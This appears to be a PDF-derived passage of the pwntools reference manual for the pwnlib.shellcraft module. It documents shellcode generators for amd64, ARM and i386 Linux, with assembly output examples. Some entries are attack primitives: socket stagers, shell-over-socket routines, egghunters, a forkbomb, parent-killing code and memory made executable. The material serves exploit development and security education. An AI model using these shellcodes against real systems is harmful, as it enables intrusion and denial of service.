b'Hello\n'
```

`pwnlib.shellcraft.amd64.linux.stager` (*sock*, *size*, *handle_error=False*)
 Recives a fixed sized payload into a mmaped buffer Useful in conjunction with `findpeer`. After running the socket will be left in `RDI`. :param *sock*, the socket to read the payload from.: :param *size*, the size of the payload:

`pwnlib.shellcraft.amd64.linux.strace_dos` ()
 Kills `strace`

`pwnlib.shellcraft.amd64.linux.syscall` (*syscall=None, arg0=None, arg1=None, arg2=None, arg3=None, arg4=None, arg5=None*)

Args: [`syscall_number`, `*args`] Does a syscall

Any of the arguments can be expressions to be evaluated by `pwnlib.constants.eval()`.

Example

```
>>> print(pwnlib.shellcraft.amd64.linux.syscall('SYS_execve', 1, 'rsp', 2, 0).
↳rstrip())
/* call execve(1, 'rsp', 2, 0) */
xor r10d, r10d /* 0 */
push SYS_execve /* 0x3b */
pop rax
push 1
pop rdi
push 2
pop rdx
mov rsi, rsp
syscall
>>> print(pwnlib.shellcraft.amd64.linux.syscall('SYS_execve', 2, 1, 0, -1).
↳rstrip())
/* call execve(2, 1, 0, -1) */
push -1
pop r10
push SYS_execve /* 0x3b */
pop rax
push 2
pop rdi
push 1
pop rsi
cdq /* rdx=0 */
syscall
>>> print(pwnlib.shellcraft.amd64.linux.syscall().rstrip())
/* call syscall() */
syscall
>>> print(pwnlib.shellcraft.amd64.linux.syscall('rax', 'rdi', 'rsi').rstrip())
/* call syscall('rax', 'rdi', 'rsi') */
/* setregs noop */
syscall
>>> print(pwnlib.shellcraft.amd64.linux.syscall('rbp', None, None, 1).rstrip())
/* call syscall('rbp', ?, ?, 1) */
mov rax, rbp
push 1
pop rdx
syscall
>>> print(pwnlib.shellcraft.amd64.linux.syscall(
...     'SYS_mmap', 0, 0x1000,
...     'PROT_READ | PROT_WRITE | PROT_EXEC',
...     'MAP_PRIVATE | MAP_ANONYMOUS',
...     -1, 0).rstrip())
/* call mmap(0, 4096, 'PROT_READ | PROT_WRITE | PROT_EXEC', 'MAP_PRIVATE |
↳MAP_ANONYMOUS', -1, 0) */
push (MAP_PRIVATE | MAP_ANONYMOUS) /* 0x22 */
pop r10
push -1
```

(continues on next page)

(continued from previous page)

```

pop r8
xor r9d, r9d /* 0 */
push SYS_mmap /* 9 */
pop rax
xor edi, edi /* 0 */
push (PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
pop rdx
mov esi, 0x1010101 /* 4096 == 0x1000 */
xor esi, 0x1011101
syscall
>>> print(pwnlib.shellcraft.open('/home/pwn/flag').rstrip())
/* open(file='/home/pwn/flag', oflag=0, mode=0) */
/* push b'/home/pwn/flag\x00' */
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0x67616c662f6e
xor [rsp], rax
mov rax, 0x77702f656d6f682f
push rax
mov rdi, rsp
xor edx, edx /* 0 */
xor esi, esi /* 0 */
/* call open() */
push SYS_open /* 2 */
pop rax
syscall

```

`pwnlib.shellcraft.amd64.linux.writeloop(readsock=0, writesock=1)`

Reads from a buffer of a size and location determined at runtime. When the shellcode is executing, it should send a pointer and pointer-width size to determine the location and size of buffer.

pwnlib.shellcraft.arm — Shellcode for ARM

pwnlib.shellcraft.arm

Shellcraft module containing generic ARM little endian shellcodes.

`pwnlib.shellcraft.arm.crash()`

Crash.

Example

```

>>> run_assembly(shellcraft.crash()).poll(True)
-11

```

`pwnlib.shellcraft.arm.infloop()`

An infinite loop.

`pwnlib.shellcraft.arm.itoa(v, buffer='sp', allocate_stack=True)`

Converts an integer into its string representation, and pushes it onto the stack. Uses registers r0-r5.

Parameters

- `v` (`str`, `int`) – Integer constant or register that contains the value to convert.
- `alloca` –

Example

```
>>> sc = shellcraft.arm.mov('r0', 0xdeadbeef)
>>> sc += shellcraft.arm.itoa('r0')
>>> sc += shellcraft.arm.linux.write(1, 'sp', 32)
>>> run_assembly(sc).recvuntil(b'\x00')
b'3735928559\x00'
```

`pwnlib.shellcraft.arm.memcpy(dest, src, n)`

Copies memory.

Parameters

- **dest** – Destination address
- **src** – Source address
- **n** – Number of bytes

`pwnlib.shellcraft.arm.mov(dst, src)`

Move *src* into *dest*.

Support for automatically avoiding newline and null bytes has to be done.

If *src* is a string that is not a register, then it will locally set `context.arch` to `'arm'` and use `pwnlib.constants.eval()` to evaluate the string. Note that this means that this shellcode can change behavior depending on the value of `context.os`.

Examples

```
>>> print(shellcraft.arm.mov('r0', 'r1').rstrip())
mov r0, r1
>>> print(shellcraft.arm.mov('r0', 5).rstrip())
mov r0, #5
>>> print(shellcraft.arm.mov('r0', 0x34532).rstrip())
movw r0, #0x34532 & 0xffff
movt r0, #0x34532 >> 16
>>> print(shellcraft.arm.mov('r0', 0x101).rstrip())
movw r0, #0x101
>>> print(shellcraft.arm.mov('r0', 0xff << 14).rstrip())
mov r0, #0x3fc000
>>> print(shellcraft.arm.mov('r0', 0xff << 15).rstrip())
movw r0, #0x7f8000 & 0xffff
movt r0, #0x7f8000 >> 16
>>> print(shellcraft.arm.mov('r0', 0xf00d0000).rstrip())
eor r0, r0
movt r0, #0xf00d0000 >> 16
>>> print(shellcraft.arm.mov('r0', 0xffff00ff).rstrip())
mvn r0, #(0xffff00ff ^ (-1))
>>> print(shellcraft.arm.mov('r0', 0xffffffff).rstrip())
mvn r0, #(0xffffffff ^ (-1))
```

Parameters

- **dest** (*str*) – ke destination register.
- **src** (*str*) – Either the input register, or an immediate value.

`pwnlib.shellcraft.arm.nop()`

A nop instruction.

`pwnlib.shellcraft.arm.push(word, register='r12')`

Pushes a 32-bit integer onto the stack. Uses r12 as a temporary register.

r12 is defined as the inter-procedural scratch register (\$ip), so this should not interfere with most usage.

Parameters

- **word** (*int*, *str*) – The word to push
- **tmpreg** (*str*) – Register to use as a temporary register. R7 is used by default.

`pwnlib.shellcraft.arm.pushstr(string, append_null=True, register='r7')`

Pushes a string onto the stack.

Parameters

- **string** (*str*) – The string to push.
- **append_null** (*bool*) – Whether to append a single NULL-byte before pushing.
- **register** (*str*) – Temporary register to use. By default, R7 is used.

Examples

```
>>> print(shellcraft.arm.pushstr("Hello!").rstrip())
/* push b'Hello!\x00A' */
movw r7, #0x4100216f & 0xffff
movt r7, #0x4100216f >> 16
push {r7}
movw r7, #0x6c6c6548 & 0xffff
movt r7, #0x6c6c6548 >> 16
push {r7}
```

`pwnlib.shellcraft.arm.pushstr_array(reg, array)`

Pushes an array/envp-style array of pointers onto the stack.

Parameters

- **reg** (*str*) – Destination register to hold the pointer.
- **array** (*str*, *list*) – Single argument or list of arguments to push. NULL termination is normalized so that each argument ends with exactly one NULL byte.

`pwnlib.shellcraft.arm.ret(return_value=None)`

A single-byte RET instruction.

Parameters **return_value** – Value to return

Examples

```
>>> with context.local(arch='arm'):
...     print(enhex(asm(shellcraft.ret())))
...     print(enhex(asm(shellcraft.ret(0))))
...     print(enhex(asm(shellcraft.ret(0xdeadbeef))))
1eff2fe1
000020e01eff2fe1
ef0e0be3ad0e4de31eff2fe1
```

`pwnlib.shellcraft.arm.setregs (reg_context, stack_allowed=True)`

Sets multiple registers, taking any register dependencies into account (i.e., given `eax=1, ebx=eax`, set `ebx` first).

Parameters

- **reg_context** (*dict*) – Desired register context
- **stack_allowed** (*bool*) – Can the stack be used?

Example

```
>>> print(shellcraft.setregs({'r0':1, 'r2':'r3'}).rstrip())
mov r0, #1
mov r2, r3
>>> print(shellcraft.setregs({'r0':'r1', 'r1':'r0', 'r2':'r3'}).rstrip())
mov r2, r3
eor r0, r0, r1 /* xchg r0, r1 */
eor r1, r0, r1
eor r0, r0, r1
```

`pwnlib.shellcraft.arm.to_thumb (reg=None, avoid=[])`

Go from ARM to THUMB mode.

`pwnlib.shellcraft.arm.trap()`

A trap instruction.

`pwnlib.shellcraft.arm.udiv_10 (N)`

Divides `r0` by 10. Result is stored in `r0`, `N` and `Z` flags are updated.

Code is from generated from here: <https://raw.githubusercontent.com/rofirrim/raspberry-pi-assembler/master/chapter15/magic.py>

With code: `python magic.py 10 code_for_unsigned`

`pwnlib.shellcraft.arm.xor (key, address, count)`

XORs data a constant value.

Parameters

- **key** (*int*, *str*) – XOR key either as a 4-byte integer, If a string, length must be a power of two, and not longer than 4 bytes.
- **address** (*int*) – Address of the data (e.g. `0xdead0000`, `'rsp'`)
- **count** (*int*) – Number of bytes to XOR.

Example

```
>>> sc = shellcraft.read(0, 'sp', 32)
>>> sc += shellcraft.xor(0xdeadbeef, 'sp', 32)
>>> sc += shellcraft.write(1, 'sp', 32)
>>> io = run_assembly(sc)
>>> io.send(cyclic(32))
>>> result = io.recv(32)
>>> expected = xor(cyclic(32), p32(0xdeadbeef))
>>> result == expected
True
```


pwnlib.shellcraft.arm.linux

Shellcraft module containing ARM shellcodes for Linux.

`pwnlib.shellcraft.arm.linux.cacheflush()`

Invokes the cache-flush operation, without using any NULL or newline bytes.

Effectively is just:

```
mov r0, #0 mov r1, #-1 mov r2, #0 swi 0x9F0002
```

How this works:

... However, SWI generates a software interrupt and to the interrupt handler, 0x9F0002 is actually data and as a result will not be read via the instruction cache, so if we modify the argument to SWI in our self-modifyign code, the argument will be read correctly.

`pwnlib.shellcraft.arm.linux.cat(filename, fd=1)`

Opens a file and writes its contents to the specified file descriptor.

Example

```
>>> f = tempfile.mktemp()
>>> write(f, 'FLAG\n')
>>> run_assembly(shellcraft.arm.linux.cat(f)).recvline()
b'FLAG\n'
```

`pwnlib.shellcraft.arm.linux.connect(host, port, network='ipv4')`

Connects to the host on the specified port. Network is either 'ipv4' or 'ipv6'. Leaves the connected socket in R6.

`pwnlib.shellcraft.arm.linux.dir(in_fd='r6', size=2048, allocate_stack=True)`

Reads to the stack from a directory.

Parameters

- **in_fd** (*int/str*) – File descriptor to be read from.
- **size** (*int*) – Buffer size.
- **allocate_stack** (*bool*) – allocate 'size' bytes on the stack.

You can optionanly shave a few bytes not allocating the stack space.

The size read is left in eax.

`pwnlib.shellcraft.arm.linux.echo(string, sock='I')`

Writes a string to a file descriptor

Example

```
>>> run_assembly(shellcraft.echo('hello\n', 1)).recvline()
b'hello\n'
```

`pwnlib.shellcraft.arm.linux.egghunter(egg, start_address = 0, double_check = True)`

Searches for an egg, which is either a four byte integer or a four byte string. The egg must appear twice in a row if `double_check` is True. When the egg has been found the egghunter branches to the address following it. If `start_address` has been specified search will start on the first address of the page that contains that address.

`pwnlib.shellcraft.arm.linux.forkbomb()`

Performs a forkbomb attack.

`pwnlib.shellcraft.arm.linux.forkexit()`

Attempts to fork. If the fork is successful, the parent exits.

`pwnlib.shellcraft.arm.linux.killparent()`

Kills its parent process until whatever the parent is (probably init) cannot be killed any longer.

`pwnlib.shellcraft.arm.linux.open_file(filepath, flags='O_RDONLY', mode=420)`

Opens a file. Leaves the file descriptor in r0.

Parameters

- **filepath** (*str*) – The file to open.
- **flags** (*int/str*) – The flags to call open with.
- **mode** (*int/str*) – The attribute to create the flag. Only matters if flags & O_CREAT is set.

`pwnlib.shellcraft.arm.linux.sh()`

Execute a different process.

```
>>> p = run_assembly(shellcraft.arm.linux.sh())
>>> p.sendline(b'echo Hello')
>>> p.recv()
b'Hello\n'
```

`pwnlib.shellcraft.arm.linux.syscall(syscall=None, arg0=None, arg1=None, arg2=None, arg3=None, arg4=None, arg5=None, arg6=None)`

Args: [`syscall_number`, `*args`] Does a syscall

Any of the arguments can be expressions to be evaluated by `pwnlib.constants.eval()`.

Example

```
>>> print(shellcraft.arm.linux.syscall(11, 1, 'sp', 2, 0).rstrip())
/* call syscall(11, 1, 'sp', 2, 0) */
mov r0, #1
mov r1, sp
mov r2, #2
eor r3, r3 /* 0 (#0) */
mov r7, #0xb
svc 0
>>> print(shellcraft.arm.linux.syscall('SYS_exit', 0).rstrip())
/* call exit(0) */
eor r0, r0 /* 0 (#0) */
mov r7, #SYS_exit /* 1 */
svc 0
>>> print(pwnlib.shellcraft.open('/home/pwn/flag').rstrip())
/* open(file='/home/pwn/flag', oflag=0, mode=0) */
/* push b'/home/pwn/flag\x00A' */
movw r7, #0x41006761 & 0xffff
movt r7, #0x41006761 >> 16
push {r7}
movw r7, #0x6c662f6e & 0xffff
movt r7, #0x6c662f6e >> 16
push {r7}
```

(continues on next page)

(continued from previous page)

```

movw r7, #0x77702f65 & 0xffff
movt r7, #0x77702f65 >> 16
push {r7}
movw r7, #0x6d6f682f & 0xffff
movt r7, #0x6d6f682f >> 16
push {r7}
mov r0, sp
eor r1, r1 /* 0 (#0) */
eor r2, r2 /* 0 (#0) */
/* call open() */
mov r7, #SYS_open /* 5 */
svc 0

```

pwnlib.shellcraft.common — Shellcode common to all architecture

Shellcraft module containing shellcode common to all platforms.

`pwnlib.shellcraft.common.label` (*prefix*=*'label'*)

Returns a new unique label with a given prefix.

Parameters *prefix* (*str*) – The string to prefix the label with

pwnlib.shellcraft.i386 — Shellcode for Intel 80386

pwnlib.shellcraft.i386

Shellcraft module containing generic Intel i386 shellcodes.

`pwnlib.shellcraft.i386.breakpoint` ()

A single-byte breakpoint instruction.

`pwnlib.shellcraft.i386.crash` ()

Crash.

Example

```

>>> run_assembly(shellcraft.crash()).poll(True)
-11

```

`pwnlib.shellcraft.i386.epilog` (*nargs*=0)

Function epilogue.

Parameters *nargs* (*int*) – Number of arguments to pop off the stack.

`pwnlib.shellcraft.i386.function` (*name*, *template_function*, **registers*)

Converts a shellcraft template into a callable function.

Parameters

- **template_sz** (*callable*) – Rendered shellcode template. Any variable Arguments should be supplied as registers.
- **name** (*str*) – Name of the function.
- **registers** (*list*) – List of registers which should be filled from the stack.

```
>>> shellcode = ''
>>> shellcode += shellcraft.function('write', shellcraft.i386.linux.write, )

>>> hello = shellcraft.i386.linux.echo("Hello!", 'eax')
>>> hello_fn = shellcraft.i386.function(hello, 'eax').strip()
>>> exit = shellcraft.i386.linux.exit('edi')
>>> exit_fn = shellcraft.i386.function(exit, 'edi').strip()
>>> shellcode = ''
...     push STDOUT_FILENO
...     call hello
...     push 33
...     call exit
... hello:
...     %(hello_fn)s
... exit:
...     %(exit_fn)s
... ''' % (locals())
>>> p = run_assembly(shellcode)
>>> p.recvall()
b'Hello!'
>>> p.wait_for_close()
>>> p.poll()
33
```

Notes

Can only be used on a shellcraft template which takes all of its arguments as registers. For example, the pushstr

pwnlib.shellcraft.i386.getpc(*register='ecx'*)

Retrieves the value of EIP, stores it in the desired register.

Parameters **return_value** – Value to return

pwnlib.shellcraft.i386.infloop()

A two-byte infinite loop.

pwnlib.shellcraft.i386.itoa(*v, buffer='esp', allocate_stack=True*)

Converts an integer into its string representation, and pushes it onto the stack.

Parameters

- **v** (*str, int*) – Integer constant or register that contains the value to convert.
- **alloca** –

Example

```
>>> sc = shellcraft.i386.mov('eax', 0xdeadbeef)
>>> sc += shellcraft.i386.itoa('eax')
>>> sc += shellcraft.i386.linux.write(1, 'esp', 32)
>>> run_assembly(sc).recvuntil(b'\x00')
b'3735928559\x00'
```

pwnlib.shellcraft.i386.memcpy(*dest, src, n*)

Copies memory.

Parameters

- **dest** – Destination address
- **src** – Source address
- **n** – Number of bytes

`pwnlib.shellcraft.i386.mov(dest, src, stack_allowed=True)`

Move `src` into `dest` without newlines and null bytes.

If the `src` is a register smaller than the `dest`, then it will be zero-extended to fit inside the larger register.

If the `src` is a register larger than the `dest`, then only some of the bits will be used.

If `src` is a string that is not a register, then it will locally set `context.arch` to `'i386'` and use `pwnlib.constants.eval()` to evaluate the string. Note that this means that this shellcode can change behavior depending on the value of `context.os`.

Parameters

- **dest** (*str*) – The destination register.
- **src** (*str*) – Either the input register, or an immediate value.
- **stack_allowed** (*bool*) – Can the stack be used?

Example

```
>>> print(shellcraft.i386.mov('eax', 'ebx').rstrip())
mov eax, ebx
>>> print(shellcraft.i386.mov('eax', 0).rstrip())
xor eax, eax
>>> print(shellcraft.i386.mov('ax', 0).rstrip())
xor ax, ax
>>> print(shellcraft.i386.mov('ax', 17).rstrip())
xor ax, ax
mov al, 0x11
>>> print(shellcraft.i386.mov('edi', ord('\n')).rstrip())
push 9 /* mov edi, '\n' */
pop edi
inc edi
>>> print(shellcraft.i386.mov('al', 'ax').rstrip())
/* moving ax into al, but this is a no-op */
>>> print(shellcraft.i386.mov('al', 'ax').rstrip())
/* moving ax into al, but this is a no-op */
>>> print(shellcraft.i386.mov('esp', 'esp').rstrip())
/* moving esp into esp, but this is a no-op */
>>> print(shellcraft.i386.mov('ax', 'bl').rstrip())
movzx ax, bl
>>> print(shellcraft.i386.mov('eax', 1).rstrip())
push 1
pop eax
>>> print(shellcraft.i386.mov('eax', 1, stack_allowed=False).rstrip())
xor eax, eax
mov al, 1
>>> print(shellcraft.i386.mov('eax', 0xdead00ff).rstrip())
mov eax, -0xdead00ff
neg eax
>>> print(shellcraft.i386.mov('eax', 0xc0).rstrip())
xor eax, eax
mov al, 0xc0
```

(continues on next page)

(continued from previous page)

```
>>> print(shellcraft.i386.mov('edi', 0xc0).rstrip())
mov edi, -0xc0
neg edi
>>> print(shellcraft.i386.mov('eax', 0xc000).rstrip())
xor eax, eax
mov ah, 0xc000 >> 8
>>> print(shellcraft.i386.mov('eax', 0xffc000).rstrip())
mov eax, 0x1010101
xor eax, 0x1010101 ^ 0xffc000
>>> print(shellcraft.i386.mov('edi', 0xc000).rstrip())
mov edi, (-1) ^ 0xc000
not edi
>>> print(shellcraft.i386.mov('edi', 0xf500).rstrip())
mov edi, 0x1010101
xor edi, 0x1010101 ^ 0xf500
>>> print(shellcraft.i386.mov('eax', 0xc0c0).rstrip())
xor eax, eax
mov ax, 0xc0c0
>>> print(shellcraft.i386.mov('eax', 'SYS_execve').rstrip())
push SYS_execve /* 0xb */
pop eax
>>> with context.local(os='freebsd'):
...     print(shellcraft.i386.mov('eax', 'SYS_execve').rstrip())
push SYS_execve /* 0x3b */
pop eax
>>> print(shellcraft.i386.mov('eax', 'PROT_READ | PROT_WRITE | PROT_EXEC').
↳rstrip())
push (PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
pop eax
```

pwnlib.shellcraft.i386.**nop**()

A single-byte nop instruction.

pwnlib.shellcraft.i386.**prolog**()

Function prologue.

pwnlib.shellcraft.i386.**push**(value)

Pushes a value onto the stack without using null bytes or newline characters.

If src is a string, then we try to evaluate with `context.arch = 'i386'` using `pwnlib.constants.eval()` before determining how to push it. Note that this means that this shellcode can change behavior depending on the value of `context.os`.

Parameters `value` (*int*, *str*) – The value or register to push

Example

```
>>> print(pwnlib.shellcraft.i386.push(0).rstrip())
/* push 0 */
push 1
dec byte ptr [esp]
>>> print(pwnlib.shellcraft.i386.push(1).rstrip())
/* push 1 */
push 1
>>> print(pwnlib.shellcraft.i386.push(256).rstrip())
/* push 0x100 */
```

(continues on next page)

(continued from previous page)

```

push 0x1010201
xor dword ptr [esp], 0x1010301
>>> print(pwnlib.shellcraft.i386.push('SYS_execve').rstrip())
/* push SYS_execve (0xb) */
push 0xb
>>> print(pwnlib.shellcraft.i386.push('SYS_sendfile').rstrip())
/* push SYS_sendfile (0xbb) */
push 0x1010101
xor dword ptr [esp], 0x10101ba
>>> with context.local(os = 'freebsd'):
...     print(pwnlib.shellcraft.i386.push('SYS_execve').rstrip())
/* push SYS_execve (0x3b) */
push 0x3b

```

`pwnlib.shellcraft.i386.pushstr(string, append_null=True)`
Pushes a string onto the stack without using null bytes or newline characters.

Example

```

>>> print(shellcraft.i386.pushstr('').rstrip())
/* push '\x00' */
push 1
dec byte ptr [esp]
>>> print(shellcraft.i386.pushstr('a').rstrip())
/* push 'a\x00' */
push 0x61
>>> print(shellcraft.i386.pushstr('aa').rstrip())
/* push 'aa\x00' */
push 0x1010101
xor dword ptr [esp], 0x1016060
>>> print(shellcraft.i386.pushstr('aaa').rstrip())
/* push 'aaa\x00' */
push 0x1010101
xor dword ptr [esp], 0x1606060
>>> print(shellcraft.i386.pushstr('aaaa').rstrip())
/* push 'aaaa\x00' */
push 1
dec byte ptr [esp]
push 0x61616161
>>> print(shellcraft.i386.pushstr('aaaaa').rstrip())
/* push 'aaaaa\x00' */
push 0x61
push 0x61616161
>>> print(shellcraft.i386.pushstr('aaaa', append_null = False).rstrip())
/* push 'aaaa' */
push 0x61616161
>>> print(shellcraft.i386.pushstr(b'\xc3').rstrip())
/* push b'\xc3\x00' */
push 0x1010101
xor dword ptr [esp], 0x10101c2
>>> print(shellcraft.i386.pushstr(b'\xc3', append_null = False).rstrip())
/* push b'\xc3' */
push -0x3d
>>> with context.local():
...     context.arch = 'i386'

```

(continues on next page)

(continued from previous page)

```
...     print(enhex(asm(shellcraft.pushstr("/bin/sh"))))
68010101018134242e726901682f62696e
>>> with context.local():
...     context.arch = 'i386'
...     print(enhex(asm(shellcraft.pushstr(""))))
6a01fe0c24
>>> with context.local():
...     context.arch = 'i386'
...     print(enhex(asm(shellcraft.pushstr("\x00", False))))
6a01fe0c24
```

Parameters

- **string** (*str*) – The string to push.
- **append_null** (*bool*) – Whether to append a single NULL-byte before pushing.

pwnlib.shellcraft.i386.**pushstr_array** (*reg, array*)

Pushes an array/envp-style array of pointers onto the stack.

Parameters

- **reg** (*str*) – Destination register to hold the pointer.
- **array** (*str, list*) – Single argument or list of arguments to push. NULL termination is normalized so that each argument ends with exactly one NULL byte.

pwnlib.shellcraft.i386.**ret** (*return_value=None*)

A single-byte RET instruction.

Parameters **return_value** – Value to return

pwnlib.shellcraft.i386.**setregs** (*reg_context, stack_allowed=True*)

Sets multiple registers, taking any register dependencies into account (i.e., given `eax=1, ebx=eax`, set `ebx` first).

Parameters

- **reg_context** (*dict*) – Desired register context
- **stack_allowed** (*bool*) – Can the stack be used?

Example

```
>>> print(shellcraft.setregs({'eax':1, 'ebx':'eax'}).rstrip())
mov ebx, eax
push 1
pop eax
>>> print(shellcraft.setregs({'eax':'ebx', 'ebx':'eax', 'ecx':'ebx'}).rstrip())
mov ecx, ebx
xchg eax, ebx
```

pwnlib.shellcraft.i386.**stackarg** (*index, register*)

Loads a stack-based argument into a register.

Assumes that the ‘prolog’ code was used to save EBP.

Parameters

- **index** (*int*) – Zero-based argument index.

- **register** (*str*) – Register name.

`pwnlib.shellcraft.i386.stackhunter(cookie = 0x7afceb58)`

Returns an egghunter, which searches from esp and upwards for a cookie. However to save bytes, it only looks at a single 4-byte alignment. Use the function `stackhunter_helper` to generate a suitable cookie prefix for you.

The default cookie has been chosen, because it makes it possible to shave a single byte, but other cookies can be used too.

Example

```
>>> with context.local():
...     context.arch = 'i386'
...     print(enhex(asm(shellcraft.stackhunter())))
3d58ebfc7a75faffe4
>>> with context.local():
...     context.arch = 'i386'
...     print(enhex(asm(shellcraft.stackhunter(0xdeadbeef))))
583defbeadde75f8ffe4
```

`pwnlib.shellcraft.i386.strcpy(dst, src)`

Copies a string

Example

```
>>> sc = 'jmp get_str\n'
>>> sc += 'pop_str: pop eax\n'
>>> sc += shellcraft.i386.strcpy('esp', 'eax')
>>> sc += shellcraft.i386.linux.write(1, 'esp', 32)
>>> sc += shellcraft.i386.linux.exit(0)
>>> sc += 'get_str: call pop_str\n'
>>> sc += '.asciz "Hello, world\\n"'
>>> run_assembly(sc).recvline()
b'Hello, world\n'
```

`pwnlib.shellcraft.i386.strlen(string, reg='ecx')`

Calculate the length of the specified string.

Parameters

- **string** (*str*) – Register or address with the string
- **reg** (*str*) – Named register to return the value in, ecx is the default.

Example

```
>>> sc = 'jmp get_str\n'
>>> sc += 'pop_str: pop eax\n'
>>> sc += shellcraft.i386.strlen('eax')
>>> sc += 'push ecx;'
>>> sc += shellcraft.i386.linux.write(1, 'esp', 4)
>>> sc += shellcraft.i386.linux.exit(0)
>>> sc += 'get_str: call pop_str\n'
```

(continues on next page)

(continued from previous page)

```
>>> sc += '.asciz "Hello, world\\n"'
>>> run_assembly(sc).unpack() == len('Hello, world\\n')
True
```

`pwnlib.shellcraft.i386.trap()`

A trap instruction.

`pwnlib.shellcraft.i386.xor(key, address, count)`

XORs data a constant value.

Parameters

- **key** (*int*, *str*) – XOR key either as a 4-byte integer, If a string, length must be a power of two, and not longer than 4 bytes. Alternately, may be a register.
- **address** (*int*) – Address of the data (e.g. 0xdead0000, 'esp')
- **count** (*int*) – Number of bytes to XOR, or a register containing the number of bytes to XOR.

Example

```
>>> sc = shellcraft.read(0, 'esp', 32)
>>> sc += shellcraft.xor(0xdeadbeef, 'esp', 32)
>>> sc += shellcraft.write(1, 'esp', 32)
>>> io = run_assembly(sc)
>>> io.send(cyclic(32))
>>> result = io.recv(32)
>>> expected = xor(cyclic(32), p32(0xdeadbeef))
>>> result == expected
True
```

`pwnlib.shellcraft.i386.linux`

Shellcraft module containing Intel i386 shellcodes for Linux.

`pwnlib.shellcraft.i386.linux.acceptloop_ipv4(port)`

Parameters `port` (*int*) – the listening port

Waits for a connection. Leaves socket in EBP. ipv4 only

`pwnlib.shellcraft.i386.linux.cat(filename, fd=1)`

Opens a file and writes its contents to the specified file descriptor.

Example

```
>>> f = tempfile.mktemp()
>>> write(f, 'FLAG')
>>> run_assembly(shellcraft.i386.linux.cat(f)).recvall()
b'FLAG'
```

`pwnlib.shellcraft.i386.linux.connect(host, port, network='ipv4')`

Connects to the host on the specified port. Leaves the connected socket in edx

Parameters

- **host** (*str*) – Remote IP address or hostname (as a dotted quad / string)
- **port** (*int*) – Remote port
- **network** (*str*) – Network protocol (ipv4 or ipv6)

Examples

```
>>> l = listen(timeout=5)
>>> assembly = shellcraft.i386.linux.connect('localhost', l.port)
>>> assembly += shellcraft.i386.pushstr('Hello')
>>> assembly += shellcraft.i386.linux.write('edx', 'esp', 5)
>>> p = run_assembly(assembly)
>>> l.wait_for_connection().recv()
b'Hello'
```

```
>>> l = listen(fam='ipv6', timeout=5)
>>> assembly = shellcraft.i386.linux.connect('::1', l.port, 'ipv6')
>>> p = run_assembly(assembly)
>>> assert l.wait_for_connection()
```

`pwnlib.shellcraft.i386.linux.connectstager` (*host*, *port*, *network*='ipv4')
connect recvsize stager :param host, where to connect to: :param port, which port to connect to: :param network, ipv4 or ipv6? (default: ipv4)

`pwnlib.shellcraft.i386.linux.dir` (*in_fd*='ebp', *size*=2048, *allocate_stack*=True)
Reads to the stack from a directory.

Parameters

- **in_fd** (*int/str*) – File descriptor to be read from.
- **size** (*int*) – Buffer size.
- **allocate_stack** (*bool*) – allocate 'size' bytes on the stack.

You can optionally shave a few bytes not allocating the stack space.

The size read is left in `eax`.

`pwnlib.shellcraft.i386.linux.dupio` (*sock*='ebp')
Args: [*sock* (imm/reg) = *ebp*] Duplicates *sock* to `stdin`, `stdout` and `stderr`

`pwnlib.shellcraft.i386.linux.dupsh` (*sock*='ebp')
Args: [*sock* (imm/reg) = *ebp*] Duplicates *sock* to `stdin`, `stdout` and `stderr` and spawns a shell.

`pwnlib.shellcraft.i386.linux.echo` (*string*, *sock*='l')
Writes a string to a file descriptor

Example

```
>>> run_assembly(shellcraft.echo('hello', 1)).recvall()
b'hello'
```

`pwnlib.shellcraft.i386.linux.egghunter` (*egg*, *start_address* = 0)
Searches memory for the byte sequence 'egg'.

Return value is the address immediately following the match, stored in `RDI`.

Parameters

- **egg** (*str*, *int*) – String of bytes, or word-size integer to search for
- **start_address** (*int*) – Where to start the search

`pwnlib.shellcraft.i386.linux.findpeer (port=None)`

Args: port (defaults to any) Finds a socket, which is connected to the specified port. Leaves socket in ESI.

`pwnlib.shellcraft.i386.linux.findpeersh (port=None)`

Args: port (defaults to any) Finds an open socket which connects to a specified port, and then opens a dup2 shell on it.

`pwnlib.shellcraft.i386.linux.findpeerstager (port=None)`

Findpeer recvsize stager :param port, the port given to findpeer: :type port, the port given to findpeer: defaults to any

`pwnlib.shellcraft.i386.linux.forkbomb ()`

Performs a forkbomb attack.

`pwnlib.shellcraft.i386.linux.forkexit ()`

Attempts to fork. If the fork is successful, the parent exits.

`pwnlib.shellcraft.i386.linux.i386_to_amd64 ()`

Returns code to switch from i386 to amd64 mode.

`pwnlib.shellcraft.i386.linux.killparent ()`

Kills its parent process until whatever the parent is (probably init) cannot be killed any longer.

`pwnlib.shellcraft.i386.linux.loader (address)`

Loads a statically-linked ELF into memory and transfers control.

Parameters **address** (*int*) – Address of the ELF as a register or integer.

`pwnlib.shellcraft.i386.linux.loader_append (data=None)`

Loads a statically-linked ELF into memory and transfers control.

Similar to loader.asm but loads an appended ELF.

Parameters **data** (*str*) – If a valid filename, the data is loaded from the named file. Otherwise, this is treated as raw ELF data to append. If None, it is ignored.

Example

```
>>> gcc = process(['gcc', '-m32', '-xc', '-static', '-Wl,-Ttext-segment=0x20000000', '-<br>↪'])
>>> gcc.write(b'''
... #include <stdio.h>
... int main() {
...     printf("Hello, %s!\n", "i386");
... }
... ''')
>>> gcc.shutdown('send')
>>> gcc.poll(True) and gcc.recvall()
0
>>> sc = shellcraft.loader_append('a.out')
```

The following doctest is commented out because it doesn't work on Travis for reasons I cannot diagnose. However, it should work just fine :-)

```
>>> run_assembly(sc).recvline()
b'Hello, i386!\n'
```

`pwnlib.shellcraft.i386.linux.mprotect_all` (*clear_ebx=True, fix_null=False*)
Calls `mprotect`(page, 4096, PROT_READ | PROT_WRITE | PROT_EXEC) for every page.

It takes around 0.3 seconds on my box, but your milage may vary.

Parameters

- **clear_ebx** (*bool*) – If this is set to False, then the shellcode will assume that `ebx` has already been zeroed.
- **fix_null** (*bool*) – If this is set to True, then the NULL-page will also be mprotected at the cost of slightly larger shellcode

`pwnlib.shellcraft.i386.linux.pidmax`()
Retrieves the highest numbered PID on the system, according to the `sysctl kernel.pid_max`.

`pwnlib.shellcraft.i386.linux.readfile` (*path, dst='esi'*)
Args: [*path, dst (imm/reg) = esi*] Opens the specified file path and sends its content to the specified file descriptor.

`pwnlib.shellcraft.i386.linux.readn` (*fd, buf, nbytes*)
Reads exactly *nbytes* bytes from file descriptor *fd* into the buffer *buf*.

Parameters

